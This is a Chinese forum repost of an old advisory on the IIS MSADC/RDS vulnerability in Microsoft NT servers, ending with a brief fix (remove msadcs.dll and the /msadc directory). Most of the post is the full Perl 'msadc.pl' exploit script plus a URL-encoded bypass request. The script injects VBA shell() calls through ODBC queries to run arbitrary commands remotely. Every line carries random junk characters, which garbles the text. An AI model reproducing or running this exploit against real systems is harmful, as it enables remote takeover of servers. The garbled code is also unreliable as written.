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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ,ufB*[~  
15i8) 4h  
涉及程序: `Trpv$   
Microsoft NT server 7tgn"wK  
cNzn2-qv  
描述: $= /.oh  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Hf ]aA_:   
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详细: []D@"Bz  
如果你没有时间读详细内容的话,就删除: @<5?q: 9.8  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 0s"g%gq|  
有关的安全问题就没有了。 ppt`5F O  
>z*2Og#1  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ad).X:Qs  
kDM\IyM<\  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 v7+f@Z:N*  
关于利用ODBC远程漏洞的描述,请参看: `2S G{5o;  
ALqP;/  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /F;b<kIy8  
75j`3wzu  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 -MrEJ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp x?0ZzB),  
s)dN.'5/  
这里不再论述。 Aen)r@Y:  
9S ~!!7oj  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: )x1LOMe  
A ^YHtJ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset i?uJ<BdU[  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! SG1fu<Q6J  
t&+f:)n  
"oX@Z^  
#将下面这段保存为txt文件,然后: "perl -x 文件名" {O-,JCq/  
aZGX`;3  
#!perl Iy\{)+}aS  
# pCOr{I\  
# MSADC/RDS 'usage' (aka exploit) script =k#SQ/@  
# hX\z93an  
# by rain.forest.puppy eqK6`gHa6  
# Fv \yhR  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me w) o^?9T  
# beta test and find errors! \hpD  
 GU99!.$  
use Socket; use Getopt::Std; =p9d4smbn  
getopts("e:vd:h:XR", \%args); xy>~ 15  
lg_X|yhL  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; tgn_\-+  
@#q>(Ox%  
if (!defined $args{h} && !defined $args{R}) { f!;4 -.p`  
print qq~ *Z"9QX  
Usage: msadc.pl -h <host> { -d <delay> -X -v } W-9^Ncp  
-h <host> = host you want to scan (ip or domain) .,t"i C:E  
-d <seconds> = delay between calls, default 1 second bq5tEn  
-X = dump Index Server path table, if available H"8fnN=xB  
-v = verbose qy1$(3t$  
-e = external dictionary file for step 5 Fw!CssW  
@}:}7R6  
Or a -R will resume a command session ?[>+'6  
wykk</eQ.i  
~; exit;} >'3J. FY  
1?\ #hemL  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ^;0.P)yGA  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 3dG[dYj  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} qP<wf=wY  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); y#HDJ=2  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} \^9SuZ  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ,6Ulj+l  
A+d&aE }3V  
if (!defined $args{R}){ $ret = &has_msadc; d&n&_>  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} g3@Qn?(j!  
]*a3J45  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" {7!WtH;-  
. "cmd /c "; )En*5-1  
$in=<STDIN>; chomp $in; ]r;-Lx{F  
$command="cmd /c " . $in ; ydOJ^Yty  
z-*/jFE  
if (defined $args{R}) {&load; exit;} .Cfi/  
%jKbRiz1u  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; $qk2!  
&try_btcustmr; c?;~ Z  
}ie\-V  
print "\nStep 2: Trying to make our own DSN..."; k 9 Xi|Yj  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ml$"C  
zCxr]md  
print "\nStep 3: Trying known DSNs..."; $i&u\iL  
&known_dsn; "*O(3L.c-  
F.i%o2P3  
print "\nStep 4: Trying known .mdbs..."; fI@4 v\  
&known_mdb; D~W1["[  
~ow_&ftlo  
if (defined $args{e}){ /7Z;/|oU  
print "\nStep 5: Trying dictionary of DSN names..."; J8[N!qDCj  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ^nn3;  
1Ao YG_  
print "Sorry Charley...maybe next time?\n"; a=3?hVpB  
exit; /*DC`,q  
J{"<Hgb  
############################################################################## YK Nz[x$|  
||TKo967]  
sub sendraw { # ripped and modded from whisker <igsO  
sleep($delay); # it's a DoS on the server! At least on mine... ]F[ V6`H  
my ($pstr)=@_; :e1BQj`R  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $CXKeWS=Q.  
die("Socket problems\n"); uY+N163i  
if(connect(S,pack "SnA4x8",2,80,$target)){ U  JO  
select(S); $|=1; P+r -t8  
print $pstr; my @in=<S>; p3Uus''V4  
select(STDOUT); close(S); 71i".1l{K  
return @in; )*_4=-8H  
} else { die("Can't connect...\n"); }} CCp&P5[67  
m{itMZ@  
############################################################################## 0#f;/ c0i  
HhkubG)\  
sub make_header { # make the HTTP request b= <xzvy  
my $msadc=<<EOT ,&$w*D%  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 nzI}w7>VU  
User-Agent: ACTIVEDATA cl s-x@ Kd  
Host: $ip Q$_S/d%*  
Content-Length: $clen 5yO %|)  
Connection: Keep-Alive u`Kjs}F'  
v^_OX $=,  
ADCClientVersion:01.06 iT#)i3   
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 |pB[g> ~V  
Wt2+D{@8  
--!ADM!ROX!YOUR!WORLD! lTOO`g  
Content-Type: application/x-varg S7SD$+fX  
Content-Length: $reqlen TqURYnNd  
rdd%"u+  
EOT pq0F!XmU  
; $msadc=~s/\n/\r\n/g; *gHGi(U(U  
return $msadc;} .0$$H"t  
.<8kDyi m  
############################################################################## I6}ine ps  
p7y8/m\6  
sub make_req { # make the RDS request GY9CU=-  
my ($switch, $p1, $p2)=@_;  A i`  
my $req=""; my $t1, $t2, $query, $dsn; FbRq h|  
 ?Y4$  
if ($switch==1){ # this is the btcustmr.mdb query xf/ SUO F  
$query="Select * from Customers where City=" . make_shell(); f{=0-%dA  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +/,J$(  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} nY7 ZK  
!o A,^4(  
elsif ($switch==2){ # this is general make table query kae &,'@JF  
$query="create table AZZ (B int, C varchar(10))"; {MK.jw9/  
$dsn="$p1";} z)$X/v  
c=]z%+,b]  
elsif ($switch==3){ # this is general exploit table query 78't"2>  
$query="select * from AZZ where C=" . make_shell(); Ys|n9pW  
$dsn="$p1";} `em}vdY  
a!ao{8#  
elsif ($switch==4){ # attempt to hork file info from index server QAiont ,!  
$query="select path from scope()"; -A}U^-'a}  
$dsn="Provider=MSIDXS;";} 5AV5`<r.  
Z>GqLq\`ed  
elsif ($switch==5){ # bad query <C0~7]XO  
$query="select"; +[$d9  
$dsn="$p1";} 5e^t;  
$@y<.?k>UP  
$t1= make_unicode($query); RGrra<  
$t2= make_unicode($dsn); Z/nTI 0N{  
$req = "\x02\x00\x03\x00"; uH'n.d"WG  
$req.= "\x08\x00" . pack ("S1", length($t1)); 6J3:[7k=&  
$req.= "\x00\x00" . $t1 ; U#3Y3EdF<  
$req.= "\x08\x00" . pack ("S1", length($t2)); gp Aqz Y  
$req.= "\x00\x00" . $t2 ; ~3YN;St-  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; MH;5gC@ `  
return $req;} hiKgV|ZD  
BfmSM9  
############################################################################## =<nx [J  
7VWq8FH`  
sub make_shell { # this makes the shell() statement A|!u`^p  
return "'|shell(\"$command\")|'";} |> mx*G  
oZ% rzLH  
############################################################################## biZwxP3  
uh`W} n  
sub make_unicode { # quick little function to convert to unicode e$krA!zN  
my ($in)=@_; my $out; 8sm8L\-  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 34lt?6%j  
return $out;} Qo7]fnnaV  
/ekeU+j  
############################################################################## }[a  
 c=? =u  
sub rdo_success { # checks for RDO return success (this is kludge) %J`cYn#  
my (@in) = @_; my $base=content_start(@in); a#i;*J  
if($in[$base]=~/multipart\/mixed/){ %W!C  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} &m@~R|  
return 0;} ~/0 t<^  
IBYRuaEB  
############################################################################## (7 i@ @  
vb 2mY  
sub make_dsn { # this makes a DSN for us ~V,~' W  
my @drives=("c","d","e","f"); e.X*x4*>~  
print "\nMaking DSN: "; ,dhSc<:LT  
foreach $drive (@drives) { i}C9  
print "$drive: "; hq}kAv4B=  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . D,FX&{TYU  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" p-d2HXo  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); S%ULGX:@ga  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ESdjDg$[u  
return 0 if $2 eq "404"; # not found/doesn't exist :{za[,  
if($2 eq "200") { N5$IVz}  
foreach $line (@results) { 1k&**!S]%  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} qcYF&  
} return 0;} y%* hHnGd  
~y@,d  
############################################################################## yQ5F'.m9e  
R0>GM`{  
sub verify_exists { 1\G S"4~P  
my ($page)=@_; &_mOw.  
my @results=sendraw("GET $page HTTP/1.0\n\n"); j*uc$hC"  
return $results[0];} !)1r{u  
7g'jg7  
############################################################################## 3f;W+^NY  
Jb. V4  
sub try_btcustmr { w9QY2v,U  
my @drives=("c","d","e","f"); +:@lde]/p  
my @dirs=("winnt","winnt35","winnt351","win","windows"); GjDs,9@f  
sC ,[CN:b  
foreach $dir (@dirs) { mj\]oWS7d  
print "$dir -> "; # fun status so you can see progress !RX7TYf  
foreach $drive (@drives) { G[34:J  
print "$drive: "; # ditto ;| (_;d  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; [l;9](\8O  
$reqlenlen=length( "$reqlen" ); >z&|<H%  
$clen= 206 + $reqlenlen + $reqlen; )n8(U%q$  
//9M~qHa"  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); !JZ)6mtlr  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} y7)s0g>%H  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} (8bo"{zI  
3LT[?C]H$  
############################################################################## s zgq7  
s d -5AE  
sub odbc_error { :u}FF"j  
my (@in)=@_; my $base; qo2/?]  
my $base = content_start(@in); -oSfp23u  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this mJjd2a"vi  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &p/ ^A[  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =u M2l  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; xl.iI$P  
return $in[$base+4].$in[$base+5].$in[$base+6];} {rp5qgVE<  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; :el]IH  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . {*EA5;  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 2<18j  
[ArPoJt  
############################################################################## eUa2"=M  
Yv="oG!xL  
sub verbose { d9'gH#f?  
my ($in)=@_; 9~AAdD  
return if !$verbose; kB41{Y -  
print STDOUT "\n$in\n";} Qfx:}zk{  
>Q159qZ  
############################################################################## ?OW!zE:  
fU@{!;|Pz  
sub save { xj/Iq<'R*O  
my ($p1, $p2, $p3, $p4)=@_; B]):$#{Rxl  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 7WuhYJbf  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; \\\%pBT7]\  
close OUT;} $JH_  
gEFs4; CN  
############################################################################## }E?{M~"<  
sA( e  
sub load { ?f9@  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; nq9|cS%-  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 5u(B]_r.  
@p=<IN>; close(IN); Ni"M.O);t  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); eVDO]5?  
$target= inet_aton($ip) || die("inet_aton problems"); "qb1jv#to  
print "Resuming to $ip ..."; "RZV v~BD  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; >5,nB<  
if($p[1]==1) { F(?A7  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; n*7Ytz3#'  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; x>Hg.%/c[  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ^Q)&lxlxpx  
if (rdo_success(@results)){print "Success!\n";} ryk(Am<  
else { print "failed\n"; verbose(odbc_error(@results));}} .i^aYbB$X  
elsif ($p[1]==3){ l$j/Ye]  
if(run_query("$p[3]")){ f$\gm+&hXE  
print "Success!\n";} else { print "failed\n"; }} r-Nv<oH;  
elsif ($p[1]==4){ ~7$NVKE  
if(run_query($drvst . "$p[3]")){ RtE2%d$JT  
print "Success!\n"; } else { print "failed\n"; }} ;>#YOxPl  
exit;} s>i`=[qFc  
3bMQ[G  
############################################################################## mW_B|dM"  
e.8(tEqZ1  
sub create_table { ]`p*ZTr)\  
my ($in)=@_; *)+K+J  
$reqlen=length( make_req(2,$in,"") ) - 28; 8OYw72&  
$reqlenlen=length( "$reqlen" ); =3~u.iq$  
$clen= 206 + $reqlenlen + $reqlen; :cx}I  
my @results=sendraw(make_header() . make_req(2,$in,"")); @Yv+L)  
return 1 if rdo_success(@results); b+Ly%&  
my $temp= odbc_error(@results); verbose($temp); +:JyXF u  
return 1 if $temp=~/Table 'AZZ' already exists/; 0vu$dxb[  
return 0;} BQWe8D  
*G]zN"Y  
############################################################################## I2U/ \  
"JHd F&  
sub known_dsn { rD7L==Ld  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go STfcx] L  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", _{d0Nm  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", r`t|}m  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); x *p>l !  
x)+3SdH  
foreach $dSn (@dsns) { GIo7- 6kvm  
print "."; 2swHJ.d\  
next if (!is_access("DSN=$dSn")); B~[}E]WEK  
if(create_table("DSN=$dSn")){ y@\R$`0J  
print "$dSn successful\n"; 8&gr}r- 5  
if(run_query("DSN=$dSn")){ #n9:8BKf  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { nPAVrDg O  
print "Something's borked. Use verbose next time\n";}}} print "\n";} g~>g])  
DU@ZLk3  
############################################################################## z2EZ0vZ  
-d|Q|zF^x  
sub is_access { 3hN.`G-E  
my ($in)=@_; ^xBF$ua37)  
$reqlen=length( make_req(5,$in,"") ) - 28; 7Nw} }  
$reqlenlen=length( "$reqlen" ); v>e%5[F  
$clen= 206 + $reqlenlen + $reqlen; }ZP;kM$g  
my @results=sendraw(make_header() . make_req(5,$in,"")); `^mPq?f  
my $temp= odbc_error(@results); 3bCb_Y  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); PNjZbOmzS  
return 0;} }"V$li  
n0/H2>I[  
############################################################################## =th(Hdk17  
-AJ$-y  
sub run_query { N-lo[bDJh  
my ($in)=@_; f&z@J,_=  
$reqlen=length( make_req(3,$in,"") ) - 28; 6}Iu~| 5  
$reqlenlen=length( "$reqlen" ); 2;82*0Y%  
$clen= 206 + $reqlenlen + $reqlen; yu<'-)T.?  
my @results=sendraw(make_header() . make_req(3,$in,"")); I04GQql  
return 1 if rdo_success(@results); r)9&'m.:  
my $temp= odbc_error(@results); verbose($temp); 1c$<z~  
return 0;} 1;e"3x"  
 .<0s?Q  
############################################################################## @xO?SjH  
eU[f6OGqC  
sub known_mdb { f{} zqCK  
my @drives=("c","d","e","f","g"); >u6*P{;\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); R a> k#pQ  
my $dir, $drive, $mdb; %[l*:05  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; \R m2c8Z2  
x]1G u  
# this is sparse, because I don't know of many R<5GG|(B  
my @sysmdbs=( "\\catroot\\icatalog.mdb", zOkIPv52~  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ]bPj%sb*@  
"\\system32\\certmdb.mdb", 1XwW4cZ>:  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% zK*zT$<l  
`|t X[':  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", a!_vd B  
"\\cfusion\\cfapps\\forums\\forums_.mdb", TA x9<'  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", l'pu?TP{a  
"\\cfusion\\cfapps\\security\\realm_.mdb", SO~]aFoYt  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", t *8k3"  
"\\cfusion\\database\\cfexamples.mdb", a\UhOPFF  
"\\cfusion\\database\\cfsnippets.mdb", )]\?Yyg]  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", YY&3M  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 3@d{C^\  
"\\cfusion\\brighttiger\\database\\cleam.mdb", !I 7bxDzK$  
"\\cfusion\\database\\smpolicy.mdb", +PCsp'D d  
"\\cfusion\\database\cypress.mdb", Usa  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", eHjna\C  
"\\website\\cgi-win\\dbsample.mdb", 't3@dz_dG  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 0v~Eu>Rg  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" -T s8y  
); #these are just &~%( RO  
foreach $drive (@drives) { n@hf{hA[a  
foreach $dir (@dirs){ iva?3.t  
foreach $mdb (@sysmdbs) { rO_|_nV[  
print "."; r`; "  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 01/?  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 4yk!T  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 17itC9U  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; @,Re<%\  
} else { print "Something's borked. Use verbose next time\n"; }}}}} N@oNg}D&:  
7]i=eD8  
foreach $drive (@drives) { X_j=u1*5  
foreach $mdb (@mdbs) { 3eqVY0q  
print "."; vlHE\%{  
if(create_table($drv . $drive . $dir . $mdb)){ x6d0yJ <  
print "\n" . $drive . $dir . $mdb . " successful\n"; h`_@eax  
if(run_query($drv . $drive . $dir . $mdb)){ @V9qbr= Z  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; TQcEe@$)  
} else { print "Something's borked. Use verbose next time\n"; }}}} M~6x&|2  
} /c`s$h4-  
1z4s1 Y  
############################################################################## fnZaIV=H  
8-A * Jc  
sub hork_idx { r*n_#&-7  
print "\nAttempting to dump Index Server tables...\n"; :3FJe  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; qkM<t?uS  
$reqlen=length( make_req(4,"","") ) - 28; S.!0~KR: U  
$reqlenlen=length( "$reqlen" ); _n[4+S*v(  
$clen= 206 + $reqlenlen + $reqlen; v,\2$q/  
my @results=sendraw2(make_header() . make_req(4,"","")); JOR ? xCc  
if (rdo_success(@results)){ +npcU:(Kg  
my $max=@results; my $c; my %d; C:]&V*d.v4  
for($c=19; $c<$max; $c++){ EmaVd+Sw  
$results[$c]=~s/\x00//g; H%K,2/Nj  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; c:a5pd7T  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; q}nL'KQ,n  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; p6VHa$[  
$d{"$1$2"}="";} !PaDq+fB  
foreach $c (keys %d){ print "$c\n"; } Is87 9_Z  
} else {print "Index server doesn't seem to be installed.\n"; }} :+Pl~X"_  
:6^8Q,C1@  
############################################################################## hhS]wM?B  
,O9rL :?  
sub dsn_dict { F$Cf\#{3  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); X j'7nj  
while(<IN>){  Tl.%7)  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 'O\me  
next if (!is_access("DSN=$dSn")); 64#6L.Q-c  
if(create_table("DSN=$dSn")){ n*4N%yI^m5  
print "$dSn successful\n"; [vIHYp  
if(run_query("DSN=$dSn")){ g{`rWKj  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Jb~nu  
print "Something's borked. Use verbose next time\n";}}} Yj^| j  
print "\n"; close(IN);} `=]I -5#.W  
*-!&5~o/U  
############################################################################## ]Z@+ |&@L  
vFKt=o$ g  
sub sendraw2 { # ripped and modded from whisker .kBZ(`K  
sleep($delay); # it's a DoS on the server! At least on mine... F-=W7 D:[c  
my ($pstr)=@_; IT`r&;5  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 9$9Pv%F:j  
die("Socket problems\n"); nUAs:Q  
if(connect(S,pack "SnA4x8",2,80,$target)){ c'9-SY1'~  
print "Connected. Getting data"; HMUn+kk+  
open(OUT,">raw.out"); my @in; @ =RH_NB  
select(S); $|=1; print $pstr; =5JTVF  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Jy,Dcl  
close(OUT); select(STDOUT); close(S); return @in; #>SvYP  
} else { die("Can't connect...\n"); }} -?8;-h, h  
(IbT5  
############################################################################## W^c> (d</  
> 5i(U_`l  
sub content_start { # this will take in the server headers zUw9  
my (@in)=@_; my $c; =xs{Ov=  
for ($c=1;$c<500;$c++) { +OUYQMmM  
if($in[$c] =~/^\x0d\x0a/){ [WOLUb  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } %N"9'g>  
else { return $c+1; }}} p'2ZDd =v  
return -1;} # it should never get here actually l!B)1  
I b)>M`J  
############################################################################## Ha~g8R&  
qlT'gUt=H  
sub funky { G3j&8[  
my (@in)=@_; my $error=odbc_error(@in); Wr\rruH6  
if($error=~/ADO could not find the specified provider/){ DqLZc01>  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; :v_H;UU  
exit;} 0 ]v:Ix  
if($error=~/A Handler is required/){ lP@/x+6tg  
print "\nServer has custom handler filters (they most likely are patched)\n"; sA3=x7j%c  
exit;} ^-CQ9r*  
if($error=~/specified Handler has denied Access/){ 5WR(jl+M  
print "\nServer has custom handler filters (they most likely are patched)\n"; =H'7g 6  
exit;}} -{ Ng6ntS  
VQ{.Ls2`Z  
############################################################################## =6mnXpM.  
>L#HE  
sub has_msadc { &Rgy/1  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); /4\!zPPj.  
my $base=content_start(@results); 7Y:~'&U|  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); oGzZ.K3 A  
return 0;} H3=U|wr|  
S`LS/)  
######################## @v1f)(N  
|[k/%  
O k-*xd  
解决方案: Az_s"}G  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 3pSkk  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 DrD68$,QN  
m6P!#=a:l<  
拿出来充数 哈哈
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